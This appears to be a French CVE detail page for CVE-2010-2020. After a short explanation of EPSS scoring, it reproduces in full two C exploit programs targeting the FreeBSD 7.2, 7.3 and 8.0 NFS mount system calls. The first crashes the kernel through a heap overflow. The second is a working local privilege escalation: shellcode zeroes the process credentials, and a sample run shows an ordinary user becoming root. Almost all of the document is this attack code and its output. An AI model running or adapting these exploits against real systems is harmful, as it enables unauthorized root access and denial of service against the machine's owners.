CVE-2010-2020 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

/* * mountnfsex.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. * * Discovered and exploited by Patroklos (argp) Argyroudis. * * The vulnerability is in mountnfs() which is reachable by the mount(2) * and nmount(2) system calls. In order for them to be enabled for * unprivileged users the sysctl(8) variable vfs.usermount must be set to * a non-zero value. * * mountnfs() employs an insufficient input validation method for copying * data passed in the struct nfs_args from userspace to kernel. * Specifically, the file handle to be mounted (nfs_args.fh) and its size * (nfs_args.fhsize) are completely user-controllable. In file * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE: * * 1219 bcopy((caddr_t)argp->fh, (caddr_t)nmp->nm_fh, argp->fhsize); * * The above can cause a kernel heap overflow when argp->fh is bigger than * 128 bytes (the size of nmp->nm_fh) since nmp is an allocated item on * the UMA zone nfsmount_zone (again from sys/nfsclient/nfs_vfsops.c): * * 1164 struct nfsmount *nmp; * ... * 1175 nmp = uma_zalloc(nfsmount_zone, M_WAITOK); * * The result is a kernel crash/denial-of-service. I have developed a code * execution/privilege escalation exploit, but I will not release it at this * point. 7.1-RELEASE and earlier do not seem to be vulnerable since the * bug was introduced in 7.2-RELEASE. * * $Id: mountnfsex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #define BUFSIZE 1024 #define FSNAME "nfs" #define DIRPATH "/tmp/nfs" int main() { struct iovec iov[8]; mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = "fh"; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = calloc(BUFSIZE, sizeof(char)); if(iov[5].iov_base == NULL) { perror("calloc"); rmdir(DIRPATH); exit(EXIT_FAILURE); } memset(iov[5].iov_base, 0x41, (BUFSIZE - 1)); iov[5].iov_len = BUFSIZE; iov[6].iov_base = "hostname"; iov[6].iov_len = strlen(iov[6].iov_base) + 1; iov[7].iov_base = "census-labs.com"; iov[7].iov_len = strlen(iov[7].iov_base) + 1; printf("[*] calling nmount()\n"); if(nmount(iov, 8, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(iov[5].iov_base); exit(1); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); free(iov[5].iov_base); return 0; } /* EOF */

/* * nfs_mount_ex.c -- Patroklos Argyroudis, argp at domain census-labs.com * * Local kernel exploit for FreeBSD 8.0, 7.3 and 7.2. * * FreeBSD 8.0-RELEASE: Local kernel crash/denial-of-service. * FreeBSD 7.3/7.2-RELEASE: Local privilege escalation. * * Discovered and exploited by Patroklos (argp) Argyroudis. * * The vulnerability is in nfs_mount() which is reachable by the mount(2) * and nmount(2) system calls. In order for them to be enabled for * unprivileged users the sysctl(8) variable vfs.usermount must be set to a * non-zero value. * * nfs_mount() employs an insufficient input validation method for copying * data passed in the struct nfs_args from userspace to kernel. * Specifically, the file handle to be mounted (nfs_args.fh) and its size * (nfs_args.fhsize) are completely user-controllable. In file * sys/nfsclient/nfs_vfsops.c from 8.0-RELEASE: * * 1094 if (!has_fh_opt) { * 1095 error = copyin((caddr_t)args.fh, (caddr_t)nfh, * 1096 args.fhsize); * 1097 if (error) { * 1098 goto out; * 1099 } * * The above can cause a kernel stack overflow which leads to privilege * escalation in 7.3-RELEASE and 7.2-RELEASE, and a kernel crash / * denial-of-service in 8.0-RELEASE (due to SSP/ProPolice). 7.1-RELEASE * and earlier do not seem to be vulnerable since the bug was introduced in * 7.2-RELEASE. * * Sample run: * * [argp@julius ~]$ uname -rsi * FreeBSD 7.3-RELEASE GENERIC * [argp@julius ~]$ sysctl vfs.usermount * vfs.usermount: 1 * [argp@julius ~]$ id * uid=1001(argp) gid=1001(argp) groups=1001(argp) * [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex * [argp@julius ~]$ ./nfs_mount_ex * [*] calling nmount() * [!] nmount error: -1030740736 * nmount: Unknown error: -1030740736 * [argp@julius ~]$ id * uid=0(root) gid=0(wheel) egid=1001(argp) groups=1001(argp) * * $Id: nfs_mount_ex.c,v c1302ea1317d 2010/05/23 17:30:17 argp $ */ #include <sys/param.h> #include <sys/mount.h> #include <sys/uio.h> #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sysexits.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <errno.h> #include <nfsclient/nfsargs.h> #define BUFSIZE 272 #define FSNAME "nfs" #define DIRPATH "/tmp/nfs" unsigned char kernelcode[] = "\x64\xa1\x00\x00\x00\x00" /* movl %fs:0, %eax */ "\x8b\x40\x04" /* movl 0x4(%eax), %eax */ "\x8b\x40\x30" /* movl 0x30(%eax),%eax */ "\x31\xc9" /* xorl %ecx, %ecx */ "\x89\x48\x04" /* movl %ecx, 0x4(%eax) */ "\x89\x48\x08" /* movl %ecx, 0x8(%eax) */ "\x81\xc4\xb0\x01\x00\x00" /* addl $0x1b0, %esp */ "\x5b" /* popl %ebx */ "\x5e" /* popl %esi */ "\x5f" /* popl %edi */ "\x5d" /* popl %ebp */ "\xc3"; /* ret */ int main() { char *ptr; long *lptr; struct nfs_args na; struct iovec iov[6]; na.version = 3; na.fh = calloc(BUFSIZE, sizeof(char)); if(na.fh == NULL) { perror("calloc"); exit(1); } memset(na.fh, 0x41, BUFSIZE); na.fhsize = BUFSIZE; ptr = (char *)na.fh; lptr = (long *)(na.fh + BUFSIZE - 8); *lptr++ = 0x12345678; /* saved %ebp */ *lptr++ = (u_long)ptr; /* saved %eip */ memcpy(ptr, kernelcode, (sizeof(kernelcode) - 1)); mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = "nfs_args"; iov[4].iov_len = strlen(iov[4].iov_base) + 1; iov[5].iov_base = &na; iov[5].iov_len = sizeof(na); printf("[*] calling nmount()\n"); if(nmount(iov, 6, 0) < 0) { fprintf(stderr, "[!] nmount error: %d\n", errno); perror("nmount"); rmdir(DIRPATH); free(na.fh); exit(1); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); free(na.fh); return 0; } /* EOF */